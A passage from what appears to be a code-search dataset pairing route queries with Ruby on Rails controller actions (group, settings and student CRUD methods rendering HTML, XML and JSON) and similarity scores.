"def index\n @groups = Group.all\n @title = \"Groups\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def show\n @sitegroup = Sitegroup.access(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitegroup }\n format.csv { render :csv => @sitegroup }\n format.json { render :json => @sitegroup }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def index\n get_settings\n end",
"def show\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def index\n @user_groups = UserGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_groups }\n end\n end",
"def show\n @group_list = GroupList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_retention }\n end\n end",
"def show\n @setting = Setting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @setting }\n end\n end",
"def index\n find_settings\n respond_to do |format|\n format.html # index.html.erb\n format.xml {\n render :xml => @contexts\n }\n end\n end",
"def index\n @provider_groups = ProviderGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provider_groups }\n end\n end",
"def get_settings\n get_uri = @data['uri'] + '/settings'\n response = @client.rest_get(get_uri, {}, @api_version)\n @client.response_handler(response)\n end",
"def show\n @student = Student.find(params[:id])\n @groups = @student.groups\n end",
"def index\n @system_node = SystemNode.find(params[:system_node_id])\n @settings = @system_node.settings\n end",
"def show\n @group = WorkGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @record_group = RecordGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @record_group }\n end\n end",
"def index\n @group = Group.find(params[:group_id])\n @surveys = @group.surveys\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @surveys }\n end\n end",
"def index\n @groups = WorkGroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def show\n @lab_group = LabGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lab_group }\n end\n end",
"def show\n group = Group.find(params[:group_id])\n\n @subgroup = group.subgroups.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n\n format.xml { render :xml => @subgroup }\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group_user.to_xml }\n end\n end",
"def show\n @account_group_self_group_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_group_self_group_assignment.to_xml(:dasherize => false) }\n end\n end",
"def show\n @size_group = SizeGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @size_group }\n end\n end",
"def show\n @size_group = SizeGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @size_group }\n end\n end",
"def get_settings\n get_uri = @data['uri'] + '/settings'\n response = @client.rest_get(get_uri, {}, @api_version)\n @client.response_handler(response)\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n format.xml { render xml: @group }\n end\n end",
"def show\n @targetgroup = Targetgroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @targetgroup }\n end\n end",
"def index\n groups = get_collection(assignment.groups) || return\n\n group_data = include_memberships(groups)\n\n respond_to do |format|\n format.xml do\n render xml: group_data.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json { render json: group_data }\n end\n end",
"def index\n authorize Setting.new, :index?\n @settings = policy_scope(Setting)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @settings }\n end\n end",
"def show\n\t\t@all_permissions = Lockdown::System.permissions_assignable_for_user(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def settings\n get('/account/settings.json')\n end",
"def show\n @setting = Setting.find(params[:id])\n pref_id = Station.search_pref(current_user)\n @pref = Setting.prefecture_index_show(pref_id)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @setting }\n end\n end",
"def show\n @target_group = TargetGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @target_group }\n end\n end",
"def new\n @global_account_setting = GlobalAccountSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @global_account_setting }\n end\n end",
"def index\n @people = Person.all\n @group = Group.find(params[:group_id]) \n # render :layout => 'admin'\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def show\n @group = Group.find(params[:id]) #Sicherheitsrisiko ohne @user.groups.find ?\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def index\n @giving_groups = GivingGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @giving_groups }\n end\n end",
"def show\n @expensegroup = Expensegroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expensegroup }\n end\n end",
"def set_student_defaulter_setting\n @student_defaulter_setting = StudentDefaulterSetting.find(params[:id])\n end",
"def show\n @giving_group = GivingGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @giving_group }\n end\n end",
"def show\n @account_group_type = user_default_branch.account_group_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_group_type }\n end\n end",
"def group_settings()\n return MicrosoftGraph::GroupSettings::GroupSettingsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def show\n @group = SuperSimpleCms::Group.find(params[:id])\n\n respond_to do |format|\n format.html { render :template=>'admin/groups/show' }\n format.js { render :template=>'admin/groups/show', :layout=>false}\n format.xml { render :xml => @group }\n end\n end",
"def show\n\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n format.html do\n redirect_to(\n :controller => :groups,\n :action => :show,\n :id => @user_group.group_id)\n end\n format.xml { render :xml => @user_group }\n end\n end",
"def show\n\t@questionnaire_setting = QuestionnaireSetting.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @questionnaire_setting }\n\tend\n end",
"def show\n @group_stat = GroupStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group_stat }\n end\n end",
"def show\n @recruitment_group = RecruitmentGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @recruitment_group }\n end\n end",
"def index\n @students = current_user.groups[0].students\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def show\n @student_profile = StudentProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @student_profile }\n end\n end",
"def get_settings\n return @client.raw(\"get\", \"/config/settings\")\n end",
"def show\n group_data = include_memberships(Group.where(id: record.id))\n\n # We found a grouping for that assignment\n respond_to do |format|\n format.xml do\n render xml: group_data.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json { render json: group_data }\n end\n end",
"def show_students\n @group = Group.find(params[:id])\n end",
"def show\n @group_of_task = GroupOfTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_of_task }\n end\n end",
"def show\n @test_sub_group = TestSubGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_sub_group }\n end\n end",
"def show\n @forum_group = ForumGroup.find(params[:id])\n @forums = @forum_group.forums.find(:all, \n :conditions => ['enabled = ?', true])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @forum_group.to_xml }\n end\n end",
"def show\n @add_to_group = AddToGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @add_to_group }\n end\n end",
"def show\n @utilization_metrics_by_node_group = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @utilization_metrics_by_node_group.to_xml(:dasherize => false) }\n end\n end",
"def show\n @graduate_school_ranking = GraduateSchoolRanking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @graduate_school_ranking }\n end\n end",
"def show\n @group = @authorized_group\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def students\n if current_user.is_admin?\n @students= User.find(:all, :conditions => \"is_teacher = '0' and is_admin = '0'\")\n respond_to do |format|\n format.xml { render :xml => @students }\n end\n else\n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n end",
"def show\n @contact_group = ContactGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contact_group }\n end\n end",
"def set_student_group\n @student_group = StudentGroup.find(params[:id])\n end",
"def index\n\n @groups = Group.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n format.json { render :json => @groups }\n end\n end",
"def index\n @groups = SuperSimpleCms::Group.find(:all, :order=>:position)\n\n respond_to do |format|\n format.html { render :template => 'admin/groups/index' }\n format.xml { render :xml => @groups }\n end\n end",
"def index\n #@groupings = Grouping.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groupings }\n end\n end"
] |
[
"0.66699636",
"0.64127916",
"0.6153987",
"0.6153987",
"0.6140746",
"0.61047035",
"0.6030074",
"0.6027121",
"0.6017721",
"0.5984269",
"0.5905496",
"0.5904335",
"0.58661646",
"0.58225626",
"0.58225626",
"0.58039457",
"0.5803377",
"0.57951975",
"0.5768663",
"0.5768663",
"0.5710357",
"0.5704557",
"0.5704557",
"0.5693404",
"0.5686453",
"0.5686342",
"0.56846845",
"0.5683644",
"0.56832975",
"0.56759363",
"0.56703436",
"0.566453",
"0.566453",
"0.566453",
"0.566453",
"0.566453",
"0.56461096",
"0.5646009",
"0.56267107",
"0.56097573",
"0.5609374",
"0.5602987",
"0.55997086",
"0.55955595",
"0.55732256",
"0.55717325",
"0.55712074",
"0.5558642",
"0.55489826",
"0.55476856",
"0.55473185",
"0.5543255",
"0.5538249",
"0.5535629",
"0.5535629",
"0.5522378",
"0.5515238",
"0.5500436",
"0.5500436",
"0.54980236",
"0.5496258",
"0.54814005",
"0.5474348",
"0.5471583",
"0.54679644",
"0.54584527",
"0.5449122",
"0.5446747",
"0.5445108",
"0.54371107",
"0.54271203",
"0.5426622",
"0.54243344",
"0.5421301",
"0.5408766",
"0.54075754",
"0.5405792",
"0.5403261",
"0.5402628",
"0.5398127",
"0.5388548",
"0.53850996",
"0.5381516",
"0.53803",
"0.53802055",
"0.5377385",
"0.53734577",
"0.5373348",
"0.537221",
"0.5371043",
"0.5370409",
"0.53688145",
"0.5366714",
"0.5359555",
"0.5354201",
"0.5353175",
"0.534942",
"0.5346199",
"0.5345552",
"0.5342465"
] |
0.7693304
|
0
|
GET /student_group_settings/new GET /student_group_settings/new.xml
|
def new
@student_group_setting = StudentGroupSetting.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @student_group_setting }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n\t@student_group_setting = StudentGroupSetting.new(params[:student_group_setting])\n\n\trespond_to do |format|\n\t if @student_group_setting.save\n\t\t#format.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully created.') }\n\t\tformat.html { redirect_to(:controller=>:student_groups, :action=>'show', :id=>@student_group_setting.student_group_id, :notice => 'Student group setting was successfully created.') }\n\t\tformat.xml { render :xml => @student_group_setting, :status => :created, :location => @student_group_setting }\n\t else\n\t\tformat.html { render :action => \"new\" }\n\t\tformat.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @provider_group = ProviderGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_group }\n end\n end",
"def new\n @group = Group.new\n @title = 'Create Group'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @setting = Setting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setting }\n end\n end",
"def new\n @setting = Setting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setting }\n end\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @attribute_group = AttributeGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attribute_group }\n end\n end",
"def new\n @add_to_group = AddToGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_to_group }\n end\n end",
"def new\n @user_group = UserGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def new\n @email_setting = EmailSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_setting }\n end\n end",
"def new\n @ss_type = SsType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ss_type }\n end\n end",
"def new\n @global_account_setting = GlobalAccountSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @global_account_setting }\n end\n end",
"def new\n @lab_group = LabGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lab_group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n format.xml { render xml: @group }\n end\n end",
"def new\n @group_permission = GroupPermission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_permission }\n end\n end",
"def new\n @group = WorkGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @giving_group = GivingGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @giving_group }\n end\n end",
"def new\n @record_group = RecordGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @record_group }\n end\n end",
"def new\n @group = SuperSimpleCms::Group.new\n\n respond_to do |format|\n format.html {render :template=>'admin/groups/new'}\n format.js {render :template=>'admin/groups/new', :layout=>false}\n format.xml { render :xml => @group }\n end\n end",
"def new\n add_breadcrumb \"Social\", social_path()\n add_breadcrumb \"Create group\"\n \n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @setting = Setting.new\n authorize @setting, :new?\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setting }\n end\n end",
"def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @school }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school }\n end\n end",
"def new\n @targetgroup = Targetgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @targetgroup }\n end\n end",
"def new\n @student_profile = StudentProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_profile }\n end\n end",
"def new\n @group = Group.new\n @membership = Membership.new\n @group_permission = GroupPermission.new\n @metro_areas = MetroArea.find(:all)\n @states = State.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group_report = GroupReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_report }\n end\n end",
"def new\n @server_group = ServerGroup.new\n @account = User.find(session[:user_id]).account\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server_group }\n end\n end",
"def new\n @semester = Semester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @semester }\n end\n end",
"def new\n @group = GROUP.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @sitegroup = Sitegroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitegroup }\n format.csv { render :csv => @sitegroup }\n format.json { render :json => @sitegroup }\n end\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def new\n @routinetoobjectgroup = Routinetoobjectgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @routinetoobjectgroup }\n end\n end",
"def new\n @fgroup = Fgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fgroup }\n end\n end",
"def new\n @config_xml = ConfigXml.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_xml }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def new\n @contact_group = ContactGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact_group }\n end\n end",
"def new\n @transaction_group = TransactionGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_group }\n end\n end",
"def new\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.new\n\t @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @expensegroup = Expensegroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expensegroup }\n end\n end",
"def new\n @group_list = GroupList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def new\n @target_group = TargetGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @target_group }\n end\n end",
"def new\n @grupo = Grupo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @grupo }\n end\n end",
"def new\n @schooling = Schooling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @schooling }\n end\n end",
"def new\n @suite = Suite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @suite }\n end\n end",
"def new\n @student_class = StudentClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_class }\n end\n end",
"def new\n @group_outing = GroupOuting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_outing }\n end\n end",
"def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end",
"def new\n @student_group = StudentGroup.find(params[:student_group])\n @student_group_rules = Array.new(Rule.all.count) { StudentGroupRule.new }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_group_rule }\n end\n end",
"def new\n @network_setting = NetworkSetting.new\n @network_setting.ip_address = Configuration.get(:network_setting_default_address, \"10.0.143.10\")\n @network_setting.netmask = Configuration.get(:network_setting_default_netmask, \"255.0.0.0\")\n @network_setting.dhcp_range_start = Configuration.get(:network_setting_default_dhcp_range_start, \"10.0.143.100\")\n @network_setting.dhcp_range_end = Configuration.get(:network_setting_default_dhcp_range_end, \"10.0.143.199\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network_setting }\n end\n end",
"def new\n @patient_provider_assignment = PatientProviderAssignment.new()\n @patient_provider_assignment.defaults\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patient_provider_assignment }\n end\n end",
"def new\n @size_group = SizeGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @size_group }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"def new\n @semester_subject = SemesterSubject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @semester_subject }\n end\n end",
"def new\n @requirement_level = RequirementLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @requirement_level }\n end\n end",
"def new\n @setting = current_user.setting || Setting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setting }\n end\n end",
"def new\n @laboratory_test_group = LaboratoryTestGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @laboratory_test_group }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @groups_happening = GroupsHappening.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @groups_happening }\n end\n end",
"def new\n @personnel_group = PersonnelGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personnel_group }\n end\n end",
"def new\n @groups = Group.all\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @person }\n format.json { render :json => @person }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html { render :template => \"admin_sites/new\" }\n format.xml { render :xml => @site }\n end\n end",
"def new\n @school_property = SchoolProperty.new\n list\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school_property }\n end\n end",
"def new\n @assignmentstatus = Assignmentstatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignmentstatus }\n end\n end",
"def new #:nodoc:\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n # format.xml { render :xml => @group }\n end\n end",
"def new\n @polco_group = PolcoGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polco_group }\n end\n end",
"def new\n @student_relationship = StudentRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_relationship }\n end\n end",
"def new\n @membership_kind = MembershipKind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @membership_kind }\n end\n end",
"def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def new\n @group_stat = GroupStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_stat }\n end\n end",
"def new\n @special_groups_user = SpecialGroupsUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @special_groups_user }\n end\n end",
"def new\n @staffgrade = Staffgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @staffgrade }\n end\n end",
"def new\n @administration = Administration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administration }\n end\n end",
"def new\n @slicegroup = Slicegroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slicegroup }\n end\n end",
"def new\n @group_user = GroupUser.new(params[:group_user])\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @group_user.to_xml }\n end\n end",
"def new\n @selector_site = SelectorSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selector_site }\n end\n end",
"def new\n @recruitment_group = RecruitmentGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recruitment_group }\n end\n end",
"def create\n @provider_group = ProviderGroup.new(params[:provider_group])\n\n respond_to do |format|\n if @provider_group.save\n flash[:notice] = 'ProviderGroup was successfully created.'\n format.html { redirect_to(@provider_group) }\n format.xml { render :xml => @provider_group, :status => :created, :location => @provider_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @student = Student.new\n @student.option_id = params[:id] if params[:id]\n \n @groups = Option.find(:all, :order => \"id ASC\", :conditions=> \"option_type = 0\")\n @committees = Option.find(:all, :order => \"id ASC\", :conditions=> \"option_type = 1\")\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student }\n end\n end",
"def new\n @ail_group = AilGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ail_group }\n end\n end",
"def new\n @group_retention = GroupRetention.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_retention }\n end\n end",
"def new\n @volunteer = Volunteer.new\n @groups = Group.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @volunteer }\n end\n end",
"def new\n @group = Group.new(:owner => current_user)\n authorize @group, :new?\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @permission = Permission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @permission }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end"
] |
[
"0.72151625",
"0.686929",
"0.686929",
"0.68372303",
"0.68372303",
"0.68372303",
"0.68372303",
"0.68372303",
"0.68372303",
"0.68372303",
"0.68372303",
"0.68372303",
"0.6833291",
"0.68186045",
"0.67943406",
"0.6794101",
"0.6794101",
"0.6737582",
"0.66878164",
"0.66615963",
"0.6656695",
"0.66334504",
"0.66207486",
"0.6617951",
"0.6615007",
"0.66107273",
"0.659152",
"0.6565461",
"0.6555382",
"0.65499395",
"0.6535327",
"0.65315306",
"0.65306634",
"0.6516733",
"0.6515665",
"0.65050685",
"0.6480198",
"0.64784455",
"0.6473588",
"0.6459339",
"0.645432",
"0.6439608",
"0.64320934",
"0.6427009",
"0.6418657",
"0.6408251",
"0.64056873",
"0.6404114",
"0.64025974",
"0.63985276",
"0.6393826",
"0.63934547",
"0.63927585",
"0.63902366",
"0.6385991",
"0.63852364",
"0.6378408",
"0.6375191",
"0.63735545",
"0.63661665",
"0.63565403",
"0.6355278",
"0.63455",
"0.63454604",
"0.63452727",
"0.63411206",
"0.63293767",
"0.6323536",
"0.631682",
"0.6313621",
"0.6313621",
"0.6313621",
"0.6313621",
"0.63087857",
"0.6301941",
"0.62917215",
"0.628374",
"0.6277351",
"0.6262715",
"0.6256372",
"0.62541884",
"0.62531734",
"0.6232009",
"0.6227633",
"0.6223971",
"0.62132895",
"0.6204986",
"0.6203082",
"0.6201697",
"0.6201681",
"0.6201659",
"0.6200752",
"0.6197283",
"0.61940366",
"0.61914647",
"0.61891353",
"0.6185595",
"0.6184538",
"0.6181581",
"0.61791486"
] |
0.7811148
|
0
|
POST /student_group_settings POST /student_group_settings.xml
|
def create
@student_group_setting = StudentGroupSetting.new(params[:student_group_setting])
respond_to do |format|
if @student_group_setting.save
#format.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully created.') }
format.html { redirect_to(:controller=>:student_groups, :action=>'show', :id=>@student_group_setting.student_group_id, :notice => 'Student group setting was successfully created.') }
format.xml { render :xml => @student_group_setting, :status => :created, :location => @student_group_setting }
else
format.html { render :action => "new" }
format.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
